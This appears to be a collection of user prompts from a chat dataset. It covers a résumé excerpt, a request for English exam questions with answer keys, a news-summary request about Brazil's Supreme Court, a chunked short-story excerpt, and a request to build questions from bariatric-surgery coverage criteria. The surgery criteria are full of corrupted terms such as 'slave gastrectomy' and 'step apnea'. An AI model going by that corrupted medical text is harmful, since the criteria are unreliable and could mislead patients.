have\nexpanded vastly.\nMy day to day duties nowadays are running online marketing workshops,\nmanaging online marketing and working as product manager for our upcoming\ncloud service.\nPage 2 of 6\nOur greatest asset is technology know-how blended with online marketing\nunderstanding spiced up with Russian marketing knowledge.\nLänsi-Helsingin Yrittäjät\nMember of the Board\nFebruary 2017 - September 2022 (5 years 8 months)\nMy passion is bringing new opportunities that digitalization provides to\nentrepreneurs in Helsinki region.\nVersa Finland Oy\nChief Marketing Officer, Partner\nDecember 2010 - September 2022 (11 years 10 months)\nOulu, Finland\nVersa Finland is a cost reduction service for companies in Finland. Company's\nmotto is simple: we help you save money or you don't pay us anything.\nI joined the company to to make Versa Finland Oy known for it's innovative\nconcept and unquestionable results in Finland as well as abroad. My main\nresponsibilities are marketing and technology development.\nTAVIQ Oy\nMarketing Advisor / Partner\nAugust 2015 - August 2019 (4 years 1 month)\nHelsinki, Finland\nMy job is simple. Help TAVIQ get noticed, help the company with closing\nimportant B2B deals and help bring marketing know-how to a very technical\nstartup.\nValoStartup\nFounder\nDecember 2010 - January 2018 (7 years 2 months)\nI am founding member of ValoStartup anual event geared at Startups.\nOBN - Oulu Business Networks Oy (Oulun B&N Yhtiöt)\nMarketing Consultant\nDecember 2013 - October 2016 (2 years 11 months)\nOulu, Finland\nWorking together with other senior consultants I provide marketing services\nsuch as training to small business owners in Finland.\nPage 3 of 6\nDRF Group Oy\nPartner\nMarch 2015 - March 2016 (1 year 1 month)\nOulu, Finland\nWorking on helping web and mobile startups during seed phase.\nRevontuliryhmä Ry\nMember of the Board\nMarch 2014 - January 2016 (1 year 11 months)\nEmpowering local entrepreneurs in Northern Finland by providing them with\nnetworking, training and business opportunities.\nDTB Software Oy\nCTO / CMO\nJune 2014 - March 2015 (10 months)\nMy main objective is to make sure that our upcoming web and mobile projects\nare modern, developed on time and user friendly. My main focus at this point is\nour product Troduce.com\nResponsibilities: online marketing and product development.\nCity of Oulu (Kastelli high-school)\nTeacher\nSeptember 2014 - January 2015 (5 months)\nOulu, Finland\nI am teaching business and entrepreneurship to high-school students in Oulu\ncity's biggest school. My aim is to do my part in preparing next generation of\nFinns for this ever more competitive world.\nOulu Junior Chamber of Commerce\nVice President (INT) 2014\nOctober 2013 - January 2015 (1 year 4 months)\nOulu, Finland\nI was chosen to be a board member of Oulu Junior Chamber of Commerce. I\nam in charge of promoting international events and connections. I also want\nto make our chapter well known in the area as one of the best networking and\nself-development opportunities for young adults.\nWebVehicle Oy\nMarketing and technology adviser\nMay 2013 - August 2013 (4 months)\nPage 4 of 6\nOulu, Finland\nWebVehicle set out to create web service for automobile owners in Finland.\nMy job is to guide company when it comes to technology and customer\nacquisition online.\nRusPod\nMarketing adviser\nJuly 2012 - August 2013 (1 year 2 months)\nRusPod is an online service aimed at teaching Russian language interactively.\nMy job is to advise company on online marketing strategies, conversion\noptimization and lowering cost of customer acquisition.\ninTaxi\nPartner\nMarch 2011 - May 2013 (2 years 3 months)\nI had the please to work with InTaxi team. Company set out to revolutionize the\nway people order a cab. With features like bonuses, offer system, awesome\nmobile apps and great support it acquired big user base in Russia.\nI was involved in many aspects of the company, but predominantly in\nmarketing and company's internal processes.\nVenture Brothers\nAdviser\nDecember 2010 - May 2013 (2 years 6 months)\nVentureBrothers is an angel investing company located in Moscow, Russia.\nCompany's focus is to invest in startup companies during seed or even preseed phase. Besides investment company also brings on technology team,\nmarking know-how and other service that startup company might need.\nI worked as adviser and helped create processes inside newly formed\nstartups, help further develop business models and technology.\nSoMePitching.com\nCTO\nSeptember 2010 - August 2011 (1 year)\nOulu, Finland\nPage 5 of 6\nI was involved in developing technology for the first version of web service.\nSomePitching allows any company to pitch their idea or product to audience\naround the world in order to gain insight, funding or recruit advisers.\nOpenSource project: Speed Freak\nProject manager\nMarch 2010 - June 2010 (4 months)\nI was selected by to lead small group of developers to create Maemo app for\ncar enthusiasts as a technology showcase. My job involved organizing the\nteam, managing infrastructure technology (version control, communication\ntools etc) and managing project day to day. Open Source and agile software\ndevelopment mythologies we used.\nProject was made possible by adult education center in Oulu and Fudeco Oy /\nArcusys Oy. Project's main goal was to upgrade developer's know-how and\nprepare them for future employment.\nFudeco Oy\nProject manager / Web developer\nMay 2007 - June 2010 (3 years 2 months)\nOulu, Finland\nProject manager and scrum master. Was involved also in the beginning\nin developing web applications based on Python and PHP technologies.\nCommunication with clients and coming up with suitable creative solutions\n(within set constraints) was something I enjoyed the most.\nSince it was a small company my position was a mix of project manager, sales\nand account manager. I found it to be thrilling experience to say the least.\nEducation\nUniversity of Oulu\nBusiness, IT · (2006 - 2012)\nPSK-Aikuisopisto / PSK-Adult Education Center\nFurther Qualification for Entrepreneurs · (2006 - 2007)" -'You are in charge of creating the English exam questions and are to perform the following 《tasks1》-《tasks 2》 in order.\n《task1》\nThe following consists of [question1 or 2] and its answer [answer1 or 2] to [context1], respectively. In addition, [question1 or 2] consists of {Q1} to {Q5} and [answer1 or 2] consists of {A1} to {A5}.\nCompare and , and output the features, similarities, and grammatical items used in each in a tabular form as an entry called .\n\n:\n\n[context1]:\nCheese has a rich and fascinating history dating back thousands of years. The exact origin of cheese is unknown, but it is believed to have been discovered accidentally by early humans who stored milk in containers made from animal stomachs. The enzymes in the stomach lining caused the milk to coagulate, separating the curds from the whey, creating the first cheese.\nCheese was an important food source for ancient civilizations, such as the Greeks and Romans, who considered it a luxury item. Cheese was often used as a form of currency, and in some cases, it was even offered as a sacrifice to the gods.\nDuring the Middle Ages, cheese-making became a specialized craft, and monasteries and convents were renowned for producing some of the best cheeses in Europe. The development of trade routes allowed cheese to spread across Europe, and new varieties were created as cheesemakers experimented with different techniques and ingredients.\nIn the 16th and 17th centuries, cheese-making technology advanced, allowing for larger-scale production and the creation of more consistent varieties. Many of the world\'s most famous cheeses were developed during this time, including cheddar, brie, and parmesan.\nToday, cheese is a staple food in many cultures, and there are hundreds of different varieties available around the world. Cheese-making techniques continue to evolve, with new varieties being created all the time. Some of the most popular cheeses include mozzarella, feta, gouda, and blue cheese.\nCheese has also played an important role in art and literature, with references to cheese appearing in works by famous authors such as William Shakespeare and Charles Dickens. In modern times, cheese has become a popular subject for foodies and cheese enthusiasts, with cheese festivals and competitions taking place all over the world.\nIn addition to its cultural significance, cheese is also a valuable source of nutrients, including protein, calcium, and vitamin B12. It can be enjoyed on its own or used as an ingredient in a wide variety of dishes, from sandwiches and pizzas to soups and casseroles.\nOverall, cheese is a beloved food that has played an important role in human history and continues to be a popular and versatile ingredient today.\n\n[question1]:\n{Q1}What is the believed origin of cheese?\na) It was discovered by early humans who stored milk in animal stomachs\nb) It was first created by Greek and Roman civilizations\nc) It was invented during the Middle Ages by cheesemakers\nd) Its exact origin is unknown\n{Q2}What role did monasteries and convents play in cheese-making during the Middle Ages?\na) They were responsible for the development of trade routes for cheese\nb) They created the first consistent varieties of cheese\nc) They were renowned for producing some of the best cheeses in Europe\nd) They used cheese as a form of currency\n{Q3}Why has cheese become a popular subject for foodies and cheese enthusiasts in modern times?\na) Because it is a valuable source of nutrients, including protein, calcium, and vitamin B12\nb) Because cheese festivals and competitions take place all over the world\nc) Because cheese has played an important role in art and literature\nd) Because cheese-making techniques continue to evolve, with new varieties being created all the time\n{Q4}What is one sentence from the passage and what is its Japanese translation?\n"Cheese-making techniques continue to evolve, with new varieties being created all the time."\n{Q5}"Cheese-making became a specialized \\_\\_\\_\\_\\_ during the Middle Ages, and monasteries and convents were renowned for producing some of the best cheeses in Europe." 空欄に入るべき単語を選択肢から選んでください。\na) cuisine\nb) craft\nc) science\nd) art\n\n[answer1]:\n{A1}a) It was discovered by early humans who stored milk in animal stomachs\n{A2}c) They were renowned for producing some of the best cheeses in Europe\n{A3}d) Because cheese-making techniques continue to evolve, with new varieties being created all the time\n{A4} チーズ製造技術は進化し続け、新しい種類が常に作られています。\n{A5}b) craft\n\n:\n\n[context2]:\nPaper has been a fundamental part of human civilization for thousands of years. The origins of paper can be traced back to ancient China, where the first paper was invented during the Han Dynasty (206 BCE - 220 CE). The invention of paper revolutionized writing and communication, and it quickly spread across the world.\nThe early paper-making process involved pounding and mashing up plant fibers, such as mulberry bark, hemp, and bamboo, and then drying the resulting pulp into sheets. The process was time-consuming and labor-intensive, but it produced a durable and relatively inexpensive writing surface.\nAs paper-making techniques spread, new fibers and methods were used to improve paper quality and production speed. In the 8th century, paper-making was introduced to the Islamic world, where cotton fibers were used instead of plant fibers, creating a smoother, finer paper. This type of paper was in high demand throughout the Islamic world and was exported to Europe, where it became known as "Arabic paper."\nIn Europe, paper-making began in the 11th century, initially using linen fibers. However, with the invention of the printing press in the 15th century, demand for paper grew exponentially, and new methods were developed to produce paper more quickly and efficiently. Wood pulp was introduced as a raw material, which allowed for the mass production of paper.\nToday, paper is used for a wide range of purposes, from writing and printing to packaging and hygiene products. With the advent of digital technology, there has been a decline in demand for paper in some areas, such as newspapers and books, but paper remains an essential material for many industries.\nPaper-making has also had an impact on the environment, with deforestation and pollution being major concerns. However, sustainable paper-making practices are being developed, such as using recycled fibers and renewable energy sources.\nOverall, the history of paper is a story of innovation, adaptation, and growth. From its humble origins in ancient China to its current role in modern society, paper has had a profound impact on human civilization and will continue to be an important part of our lives for many years to come.\n\n[question2]:\n{Q1}Where was paper first invented?\na) Europe\nb) China\nc) Islamic world\nd) Africa\n{Q2}What raw materials were used to make early paper?\na) Linen fibers\nb) Wood pulp\nc) Mulberry bark, hemp, and bamboo\nd) Cotton fibers\n{Q3}What impact has the advent of digital technology had on the paper industry?\na) There has been an increase in demand for paper for newspapers and books\nb) There has been a decline in demand for paper for newspapers and books\nc) There has been an increase in demand for paper for packaging and hygiene products\nd) There has been a decline in demand for paper for packaging and hygiene products\n{Q4} What is one sentence from the passage and what is its Japanese translation?\n"Today, paper is used for a wide range of purposes, from writing and printing to packaging and hygiene products."\n{Q5}"The early paper-making process involved pounding and mashing up plant fibers, such as mulberry bark, hemp, and bamboo, and then drying the resulting pulp into \\_\\_\\_\\_\\_." 空欄に入るべき単語を選択肢から選んでください。\na) ropes\nb) balls\nc) sheets\nd) tubes\n\n[answer2]:\n{A1}b) China\n{A2}c) Mulberry bark, hemp, and bamboo\n{A3}b) There has been a decline in demand for paper for newspapers and books\n{A4} 今日、紙は書き物や印刷から包装や衛生用品まで、幅広い用途に使われています。\n{A5}c) sheets\n《task2》\nBased on and , create a similar and summarize in tabular form as the number of words, characteristics and similarities of [context1 or 2 or 3] in and summarize in tabular form as the characteristics of [question1 or 2 or 3>.' -'Summarize this news article\n\nMr. Moraes has jailed five people without a trial for posts on social media that he said attacked Brazil’s institutions. He has also ordered social networks to remove thousands of posts and videos with little room for appeal. And this year, 10 of the court’s 11 justices sentenced a congressman to nearly nine years in prison for making what they said were threats against them in a livestream.\n\nThe power grab by the nation’s highest court, legal experts say, has undermined a key democratic institution in Latin America’s biggest country as voters prepare to pick a president on Oct. 2. Luiz Inácio Lula da Silva, a leftist former president, has led Mr. Bolsonaro in polls for months, while Mr. Bolsonaro has been telling the country, without any evidence, that his rivals are trying to rig the vote.\n\nIn many cases, Mr. Moraes has acted unilaterally, emboldened by new powers the court granted itself in 2019 that allow it to, in effect, act as an investigator, prosecutor and judge all at once in some cases.\n\nUnderstand\xa0the\xa0Riots in Brazil’s Capital\nThousands of rioters supporting Jair Bolsonaro, the far-right former president of Brazil, \xa0stormed the nation’s Congress, Supreme Court and presidential offices on Jan. 8.\nAnatomy of a Mass Attack:\xa0After Mr. Bolsonaro lost the presidential election in October, many believed that the threat of violence from his supporters would recede. Here is what went wrong.\nThe Investigations: Authorities face several major questions\xa0as they piece together how rioters briefly seized the seats of Brazil’s government.\nDigital Playbook: Misinformation researchers are studying how the internet was used ahead of the riots in Brazil. Many are drawing a comparison to the Jan. 6 attack.\nThe Role of the Police: Their early inaction in the riot shows how security forces can help empower violence\xa0and deepen the threat to democracy.\nDias Toffoli, the Supreme Court justice who created those powers, said in a statement that he did so to protect the nation’s democracy: “Brazil lives with the same incitement to hatred that took lives in the U.S. Capitol invasion, and democratic institutions must do everything possible to avoid scenarios like Jan. 6, 2021, which shocked the world.”\n\nPolitical leaders on the left and much of the Brazilian press and public have largely supported Mr. Moraes’s actions as necessary measures to counter the singular threat posed by Mr. Bolsonaro.\n\nBut many legal experts say that Mr. Moraes’s shows of force, under the banner of saving democracy, are themselves threatening to push the country toward an antidemocratic slide.\n\n“It’s the story of all bad stuff that ever happens in politics,” said Luciano da Ros, a Brazilian political science professor who studies the politics of the judiciary. “In the beginning you had one problem. Now you have two.”\n\nMr. Moraes declined to comment through a spokeswoman.\n\nThe court’s expanding influence could have major implications for the winner of the presidential vote. If Mr. Bolsonaro wins a second term, he has suggested that he would seek to pack the Supreme Court, giving him even more control over Brazilian society.\n\nIf Mr. da Silva wins, he would have to contend with justices who could complicate his agenda for a country facing a host of challenges, including rising hunger, deforestation in the Amazon and deep polarization.\n\n“Historically, when the court has given itself new power, it hasn’t said later that it was wrong,” said Diego Werneck, a Brazilian law professor who studies the court. “The powers that get created remain.”\n\nIf no candidate receives more than 50 percent of the vote in the Oct. 2 election, the top two finishers will face a runoff on Oct. 30.\n\nBrazil’s Supreme Court was already a potent institution. In the United States, the Supreme Court weighs in on 100 to 150 cases a year. In Brazil, the 11 justices and the attorneys who work for them issued 505,000 rulings over the past five years.\n\nImage\n\nMr. Moraes ordered the freezing of bank accounts of businessmen and the subpoenaing of their financial, phone and digital records over messages they exchanged on WhatsApp. Credit...Joedson Alves/EPA, via Shutterstock\n\nIn 2019, a few months after Mr. Bolsonaro took office, a one-page document vastly expanded the Supreme Court’s authority.\n\nAt the time, the court was facing attacks online from some of Mr. Bolsonaro’s supporters. Typically, law enforcement officers or prosecutors would have to open an investigation into such activity, but they had not.\n\nSo Mr. Toffoli, the court’s chief justice, issued an order granting the Supreme Court itself the authority to open an investigation.\n\nThe court would investigate “fake news” — Mr. Toffoli used the term in English — that attacked “the honorability” of the court and its justices.\n\nIt was an unprecedented role, turning the court in some cases into the accuser and the judge, according to Marco Aurélio Mello, a former Supreme Court justice who last year reached the mandatory retirement age of 75.\n\nMr. Mello, who is a supporter of Mr. Bolsonaro, believed the court was violating the Constitution to address a problem. “In law, the means justify the ends,” he added. “Not the reverse.”\n\nAntonio Cezar Peluso, another former Supreme Court justice, disagreed. The authorities, he said, were allowing threats to proliferate. “I can’t expect the court to be quiet,” he said. “It had to act.”\n\nTo run the investigation, Mr. Toffoli tapped Mr. Moraes, 53, an intense former federal justice minister and constitutional law professor who had joined the court in 2017.\n\nIn his first action, Mr. Moraes ordered a Brazilian magazine, Crusoé, to remove an online article that showed links between Mr. Toffoli and a corruption investigation. Mr. Moraes called it “fake news.”\n\nAndre Marsiglia, a lawyer who represented Crusoé, said the ruling was startling. The Supreme Court had often protected news organizations from lower-court decisions ordering such takedowns. Now it “was the driver of the censorship,” he said. “We had no one to turn to.”\n\nMr. Moraes later lifted the order after legal documents proved the article was accurate.\n\nImage\n\nA screen with an image of Mr. Moraes during a CPAC gathering in June in São Paulo. The Brazilian event is inspired by the conservative conference in the United States.Credit...Victor Moriyama for The New York Times\n\nOver time, Mr. Moraes opened new investigations and reframed his work around protecting Brazil’s democracy. Mr. Bolsonaro was increasing attacks on judges, the media and the nation’s electoral system.\n\nMr. Moraes ordered major social networks to remove dozens of accounts, erasing thousands of their posts, often without giving a reason, according to a tech company official who spoke on the condition of anonymity to avoid provoking the judge. When this official’s tech company reviewed the posts and accounts that Mr. Moraes ordered it to remove, the company found that much of the content did not break its rules, the official said.\n\nIn many cases, Mr. Moraes went after right-wing influencers who spread misleading or false information. But he also went after people on the left. When the official account of a Brazilian communist party tweeted that Mr. Moraes was a “skinhead” and that the Supreme Court should be dissolved, Mr. Moraes ordered tech companies to ban all of the party’s accounts, including a YouTube channel with more than 110,000 subscribers. The companies complied.\n\nMr. Moraes went even further. In seven cases, he ordered the arrest of far-right activists on charges of threatening democracy by advocating for a coup or calling people to antidemocratic rallies. At least two are still in jail or under house arrest. Some cases were initiated by the attorney general’s office, while others Mr. Moraes began himself.\n\nIn its investigation, the court discovered evidence that far-right extremists had discussed assaulting justices, were tracking the judges’ movements and had shared a map of a court building, according to a court official who spoke on the condition of anonymity because the findings are part a sealed investigation.\n\nIn the most high-profile case, Mr. Moraes ordered the arrest of a conservative congressman after he criticized Mr. Moraes and other justices in an online livestream. “So many times I’ve imagined you taking a beating on the street,” the congressman, Daniel Silveira, said in the livestream. “What are you going to say? That I’m inciting violence?”\n\nThe Supreme Court voted 10-to-1 to sentence Mr. Silveira to nearly nine years in prison for inciting a coup. Mr. Bolsonaro pardoned him the next day.\n\nImage\n\nMr. Moraes ordered the arrest of a conservative congressman, Daniel Silveira, center, after Mr. Silveira criticized Mr. Moraes and other high court justices. Credit...Victor Moriyama for The New York Times\n\nWith a majority of Congress, the military and the executive branch backing the president, Mr. Moraes has become arguably the most effective check on Mr. Bolsonaro’s power. That has made him a hero to the left — and public enemy No. 1 on the right.\n\nMr. Bolsonaro has railed against him in speeches, tried and failed to get him impeached and then told supporters he would not abide by Mr. Moraes’s rulings. (He later walked that back.)\n\nLast month, Mr. Moraes took on even more power, also assuming the presidency of the elections court that will oversee the vote. (The timing was a coincidence.)\n\nAt his inauguration, Mr. Moraes seemed to speak directly to Mr. Bolsonaro, who sat nearby. “Freedom of expression is not freedom to destroy democracy, to destroy institutions,” Mr. Moraes said as Mr. Bolsonaro scowled.\n\nThe tension between the men grew with the WhatsApp case involving the businessmen.\n\nMr. Bolsonaro blasted Mr. Moraes’s order, which in part approved a police request to search the men’s homes. In an unusual moment, the mainstream Brazilian press agreed with the president. “Exchanging messages, mere opinions without action, even if they are against democracy,” the TV network Band said in an editorial, “does not constitute crimes.”\n\nUnder criticism, Mr. Moraes’s office produced an additional legal document that it said provided further evidence of the potential threat the men represented. The document repeated already public connections some of the men had to right-wing operatives.\n\nMr. Moraes later unfroze the businessmen’s bank accounts. The men were never arrested.\n\nLuciano Hang, the box-store billionaire, said he was fighting to regain control of his social media accounts, which collectively had at least 6 million followers. “We feel violated to have the federal police show up at 6 a.m. wanting to take your phone,” he said.\n\nLindora Araújo, Brazil’s deputy attorney general and a career prosecutor, appealed Mr. Moraes’s order against the businessmen, saying the judge had abused his power by targeting them for simply stating opinions in a private chat. His order resembled “a kind of thought police that is characteristic of authoritarian regimes,” she said.\n\nThat appeal went to Mr. Moraes. He dismissed it.' -'=== INSTRUCTIONS ===\nYour task is ONLY to confirm receipt of this chunk, chunk 2/3, and not generate any text. After confirmation, please wait for the next chunk.\n=== SCRIPT CHUNK 2/3 ===\nalese said she nearly vomited when a professor at the Sorbonne told her that Conrad was really on her side, as if she could not decide for herself who was on her side. Ujunwa began to jump up and down, babbling nonsense to mimic Conrad’s Africans, feeling the sweet lightness of wine in her head. The Zimbabwean staggered and fell into the water fountain and climbed out spluttering, her dreadlocks wet, saying she had felt some fish wriggling around in there. The Kenyan said he would use that for his story— fish in the fancy resort fountain—since he really had no idea what he was going to write about. The Senegalese said her story was really her story, about how she mourned her girlfriend and how her grieving had emboldened her to come out to her parents although they now treated her being a lesbian as a mild joke and continued to speak of the families of suitable young men. The black South African looked alarmed when he heard “lesbian.” He got up and walked away. The Kenyan said the black South African reminded him of his father, who attended a Holy Spirit Revival church and didn’t speak to people on the street because they were not saved. The Zimbabwean, Tanzanian, white South African, and Senegalese all spoke about their fathers. They looked at Ujunwa and she realized that she was the only one who had said nothing, and for a moment the wine no longer fogged her mind. She shrugged and mumbled that there was really little to say about her father. He was a normal person. “Is he in your life?” the Senegalese asked, with the soft tone that meant she assumed he was not, and for the first time her Francophone accent irritated Ujunwa. “He is in my life,” Ujunwa said with a quiet force. “He was the one who bought me books when I was a child and the one who read my early poems and stories.” She paused, and everyone was looking at her and she added, “He did something that surprised me. It hurt me, too, but mostly it surprised me.” The Senegalese looked as if she wanted to ask more but changed her mind and said she wanted more wine. “Are you writing about your father?” the Kenyan asked and Ujunwa answered with an emphatic NO because she had never believed in fiction as therapy. The Tanzanian told her that all fiction was therapy, some sort of therapy, no matter what anybody said. That evening, Ujunwa tried to write, but her eyeballs were swimming and her head was aching and so she went to bed. After breakfast, she sat before the laptop and cradled a cup of tea. Chioma gets a call from Merchant Trust bank, one of the places her father contacted. He knows the chairman of the board. She is hopeful; all the bank people she knows drive nice secondhand Jettas and have nice flats in Gbagada. The deputy manager interviews her. He is dark and good-looking and his glasses have an elegant designer logo on the frames and, as he speaks to her, she desperately wishes he would notice her. He doesn’t. He tells her that they would like to hire her to do marketing, which will mean going out and bringing in new accounts. She will be working with Yinka. If she can bring in ten million naira during her trial period, she will be guaranteed a permanent position. She nods as he speaks. She is used to men’s attention and is sulky that he does not look at her as a man looks at a woman, and she does not quite understand what he means by going out to get new accounts until she starts the job two weeks later. A uniformed driver takes her and Yinka in an air-conditioned official Jeep—she runs her hand over the smooth leather seat, is reluctant to climb out—to the home of an alhaji in Ikoyi. The alhaji is avuncular and expansive with his smile, his hand gestures, his laughter. Yinka has already come to see him a few times before and he hugs her and says something that makes her laugh. He looks at Chioma. “This one is too fine,” he says. A steward serves frosted glasses of chapman. The alhaji speaks to Yinka but looks often at Chioma. Then he asks Yinka to come closer and explain the high-interest savings accounts to him and then he asks her to sit on his lap and doesn’t she think he’s strong enough to carry her? Yinka says of course he is and sits on his lap, smiling a serene smile. Yinka is small and fair; she reminds Chioma of the Yellow Woman. What Chioma knows of the Yellow Woman is what her mother told her. One slow afternoon, the Yellow Woman had walked into her mother’s boutique on Adeniran Ogunsanya Street. Her mother knew who the Yellow Woman was, knew the relationship with her husband had been on for a year, knew that he had paid for the Yellow Woman’s Honda Accord and her flat in Ilupeju. But what drove her mother crazy was the insult of this: the Yellow Woman coming to her boutique, looking at shoes and planning to pay for them with money that really belonged to her husband. So her mother yanked at the Yellow Woman’s weave-on that hung to her back and screamed “Husband snatcher!” and the salesgirls joined in, slapping and beating the Yellow Woman until she ran out to her car. When Chioma’s father heard of it, he shouted at her mother and said she had acted like one of those wild women from the street, had disgraced him, herself, and an innocent woman for nothing. Then he left the house. Chioma came back from National Youth Service and noticed that her father’s wardrobe was empty. Aunty Elohor, Aunty Rose, and Aunty Uche had all come and said to her mother, “We are prepared to go with you and beg him to come back home or we will go and beg on your behalf.” Chioma’s mother said, “Never, not in this world. I am not going to beg him. It is enough.” Aunty Funmi came and said the Yellow Woman had tied him up with medicine and she knew a good babalawo who could untie him. Chioma’s mother said, “No, I am not going.” Her boutique was failing, because Chioma’s father had always helped her import shoes from Dubai. So she lowered prices, advertised in Joy and City People, and started stocking shoes made in Aba. Chioma is wearing a pair of those shoes the morning she sits in the alhaji’s sitting room and watches Yinka, perched on the expansive lap, talking about the benefits of a savings account with Merchant Trust Bank. . . . At first, Ujunwa tried not to notice that Edward often stared at her body, that his eyes were never on her face but always lower. The workshop days had taken on a routine of breakfast at eight and lunch at one and dinner at six in the grand dining room. On the sixth day, a blisteringly hot day, Edward handed out copies of the first story to be reviewed, written by the Zimbabwean. The participants were all seated on the terrace, and after he handed out the papers, Ujunwa saw that all the seats under the umbrellas were occupied. “I don’t mind sitting in the sun,” she said, already getting up. “Would you like me to stand up for you, Edward?” “I’d rather like you to lie down for me,” he said. The moment was humid, thick; a bird cawed from far away. Edward was grinning. Only the Ugandan and the Tanzanian had heard him. Then the Ugandan laughed. And Ujunwa laughed, because it was funny and witty, she told herself, when you really thought about it. After lunch, she took a walk with the Zimbabwean and as they stopped to pick up shells by the sea, Ujunwa wanted to tell her what Edward had said. But the Zimbabwean seemed distracted, less chatty than usual; she was probably anxious about her story. Ujunwa read it that evening. She thought the writing had too many flourishes, but she liked the story and wrote appreciations and careful suggestions in the margins. It was familiar and funny, about a Harare secondary schoolteacher whose Pentecostal minister tells him that he and his wife will not have a child until they get a confession from the witches who have tied up his wife’s womb. They become convinced that the witches are their next-door neighbors, and every morning they pray loudly, throwing verbal Holy Ghost bombs over the fence. After the Zimbabwean read an excerpt the next day, there was a short silence around the dining table. Then the Ugandan spoke and said there was much energy in the prose. The white South African nodded enthusiastically. The Kenyan disagreed. Some of the sentences tried so hard to be literary that they didn’t make sense, he said, and he read one such sentence. The Tanzanian man said a story had to be looked at as a whole and not in parts. Yes, the Kenyan agreed, but each part had to make sense in order to form a whole that made sense. Then Edward spoke. The writing was certainly ambitious, but the story itself begged the question “So what?” There was something terribly passé about it when one considered all the other things happening in Zimbabwe under the horrible Mugabe. Ujunwa stared at Edward. What did he mean by “passé”? How could a story so true be passé? But she did not ask what Edward meant and the Kenyan did not ask and the Ugandan did not ask and all the Zimbabwean did was shove her dreadlocks away from her face, cowries clinking. Everyone else remained silent. Soon they all began to yawn and say good night and walk to their cabins. The next day, they did not talk about the previous evening. They talked about how fluffy the scrambled eggs were and how eerie the jacaranda leaves that rustled against their windows at night were. After dinner, the Senegalese read from her story. It was a windy night and they shut the door to keep out the sound of the whirling trees. The smoke from Edward’s pipe hung over the room. The Senegalese read two pages of a funeral scene, stopping often to sip some water, her accent thickening as she became more emotional, each t sounding like a z. Afterwards, everyone turned to Edward, even the Ugandan, who seemed to have forgotten that he was workshop leader. Edward chewed at his pipe thoughtfully before he said that homosexual stories of this sort weren’t reflective of Africa, really. “Which Africa?” Ujunwa blurted out. The black South African shifted on his seat. Edward chewed further at his pipe. Then he looked at Ujunwa in the way one would look at a child who refused to keep still in church and said that he wasn’t speaking as an Oxford-trained Africanist, but as one who was keen on the real Africa and not the imposing of Western ideas on African venues. The Zimbabwean and Tanzanian and white South African began to shake their heads as Edward was speaking. “This may indeed be the year 2000, but how African is it for a person to tell her family that she is homosexual?” Edward asked. The Senegalese burst out in incomprehensible French and then, a minute of fluid speech later, said, “I am Senegalese! I am Senegalese!” Edward responded in equally swift French and then said in English, with a soft smile, “I think she had too much of that excellent Bordeaux,” and some of the participants chuckled. Ujunwa was the first to leave. She was close to her cabin when she heard somebody call her and she stopped. It was the Kenyan. The Zimbabwean and the white South African were with him. “Let’s go to the bar,” the Kenyan said. She wondered where the Senegalese was. In the bar, she drank a glass of wine and listened to them talk about how the other guests at Jumping Monkey Hill —all of whom were white—looked at the participants suspiciously. The Kenyan said a youngish couple had stopped and stepped back a little as he approached them on the path from the swimming pool the day before. The white South African said she got suspicious looks, too, perhaps because she wore only kente-print caftans. Sitting there, staring out into the black night, listening to the drink-softened voices around her, Ujunwa felt a self-loathing burst open in the bottom of her stomach. She should not have laughed when Edward said “I’d rather like you to lie down for me.” It had not been funny. It had not been funny at all. She had hated it, hated the grin on his face and the glimpse of greenish teeth and the way he always looked at her chest rather than her face, the way his eyes climbed all over her, and yet she had made herself laugh like a deranged hyena. She put down her half-finished glass of wine and said, “Edward is always looking at my body.” The Kenyan and the white South African and Zimbabwean stared at her. Ujunwa repeated, “Edward is always looking at my body.” The Kenyan said it was clear from the first day that the man would be climbing on top of that flat stick of a wife and\n=== END OF CHUNK ===' -"I want you to act like a medical policy reader. Provide me with all appropriate questions for each criteria from point 1 to point 7 for surgeries mentioned in first point A Roux-en-Y Gastric Bypass (RYGB) below in Medical Necessity as truthfully as possible. Your task is to generate a set of questions based on the selection criteria listed, maintaining their hierarchy. Each question should focus on one specific selection criteria and be phrased in a clear and concise manner.\nPlease ensure that each question is relevant to the corresponding criterion and encourages accurate and informative responses. \nAnswer in table format where column is surgery name and rows would be question for selection criteria of column surgery.\nI. Medical Necessity\nA. Roux-en-Y Gastric Bypass (RYGB), Laparoscopic Adjustable Silicone Gastric Banding (LASGB), Steve Gastrectomy, Biliopancreatic Diversion (BPD), Duodenal Switch (DS) Procedures, Single Anastomosis Duodenal-Ileal Switch (SADI-S), and Steve Gastrectomy with Single Anastomosis Duodeno- Ileal Bypass (SIPS) Open or laparoscopic short or long-limb Roux-en-Y gastric bypass (RYGB), open or laparoscopic slave gastrectomy, open or laparoscopic biliopancreatic diversion (BPD) with or without duodenal switch (DS), laparoscopic adjustable silicone gastric banding (LASGB), open or laparoscopic single anastomosis duodenal-ileal switch (SADI-S), OR, open or laparoscopic slave gastrectomy with single anastomosis duodeno-ileal bypass (SIPS) is considered medical necessary when the selection criteria listed below are met: 1. Must met either a (adults) or b (adolescents): a. For adults aged 18 years or older, presence of persistent severe obesity, documented in contemporaneous clinical records, defned as any of the following: i. Body mas index (BMI) (se Appendix) exceeding 40 measured prior to preoperative preparatory program; or ii. BMI greater than 35 measured prior to preoperative preparatory program in conjunction with any of the following severe co-morbidities: a. Clinical signifcant obstructive step apnea (i.e., person mets the criteria for treatment of obstructive step apnea set forth in CPB 04 - Obstructive Sep Apnea in Adults (../1\\_99 /0004.html)); or b. Coronary heart disease, with objective documentation (by exercise stores test, radionuclide stores test, pharmacologic stores test, stores echocardiography, CT angiography, coronary angiography, heart failure or prior myocardial infarction); or c. Medical refractory hypertension (bold pressure greater than 140 mg systolic and/or 90 mg diastolic despite concurrent use of 3 anti- hypertensive agents of diferent class); or d. Type 2 diabetes mellitus; or e. Nonalcoholic steatohepatitis (NASH)\\*; or b. For adolescents who have completed bone growth (general age of 13 in girls and age of 15 in boys), presence of obesity with severe co-morbidities: i. BMI exceeding 40 with one or more of the following serious co-morbidities: a. Clinical signifcant obstructive step apnea; or b. Type 2 diabetes mellitus; or c. Nonalcoholic steatohepatitis (NASH)\\*; or d. Pseudotumor comorbidities; \\* Note: NASH determination may include either a liver biopsy or the presence of advanced hepatic fbrosis identifed by FibroScan, FibroTest- ActiTest, magnetic resonance elastography, or Enhanced Liver Fibrosis (ELF) test (se also CPB 0690 - Noninvasive Tests for Hepatic Fibrosis (../600\\_699/0690.html) ). ii. BMI exceeding 50 with one or more of the following les serious co-morbidities: a. Medical refractory hypertension; or b. Dyslipidemias; or c. Nonalcoholic steatohepatitis; or d. Venous stasis disease; or e. Signifcant impairment in activities of daily 